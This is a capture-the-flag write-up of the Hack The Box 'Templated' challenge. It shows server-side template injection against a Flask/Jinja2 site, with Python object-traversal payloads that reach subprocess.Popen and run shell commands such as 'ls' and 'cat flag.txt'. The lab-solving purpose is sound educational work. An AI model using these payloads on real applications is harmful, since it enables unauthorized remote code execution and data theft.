Hack The Box “Templated” Web Challenge Write Up
--
“Templated” is a web challenge, live as of October 23rd 2020 on Hack The Box, with an overall difficulty of easy leaning medium.
Once the instance is deployed, we can navigate directly to the website (it is a web challenge, after all!)
The website is “proudly” powered by Flask/Jinja2, which is a python service. A quick google of “Flask/Jinja2 exploit” yields CVE-2019-8341
. This exploit can be found here.
According to exploit-db, if we are able to successful execute a basic math operation, inside of squiggly brackets, then the remote host is vulnerable to CVE-2019–8341.
Of course, we do not have a username parameter, so we can try with http://ip:port/{{4 * 4}}
instead. You do not need to URL encode the exploit; it can be entered directly as {{4 * 4}}
.
Now, following the outline from exploit-db, we can craft our own payload specific to our remote host. The first part of the payload is {{ ''.__class__ }}
. In Python, this will tell us the class of ''
, which is an empty string.
The works like a charm, so we can continue with the exploit.
The next step is to use .__mro__
. In python, MRO stands for Method Resolution Order, which is essentially the super class of the current object. In python, the superclass of a string is literally the object class, as seen when we deploy {{ ''.__class__.__mro__ }}
Next, we can index the result of the .__class__.__mro__
class. Our payload becomes {{ ''.__class__.__mro__[1].__subclasses__() }}
, which displays all of the classes in the remote host’s active python environment that inherit the object class. The result is as follows:
There are too many of these to count, so we can squint our eyes and try to find something that could be used to exploit the remote host. Near the bottom, we can see subprocess.Popen, a method that allows for code execution.
To use Popen, we have to find it’s index, which is made easier by… python! Copy the entire list on the website, paste it as a string into python, and split on the string. Then enumerate it until you get Popen!
Now, we can add Popen to our payload, with the “ls” command to see the items in the remote host’s current directory. {{ ''.__class__.__mro__[1].__subclasses__()[414]('ls',shell=True,stdout=-1).communicate()[0] }}
And like clockwork, we can see a “flag.txt” in the remote hosts’ home directory.
And finally, modifying our Popen command to run “cat flag.txt” gives us the flag! Our final command is {{ ''.__class__.__mro__[1].__subclasses__()[414]('cat flag.txt',shell=True,stdout=-1).communicate()[0] }}
.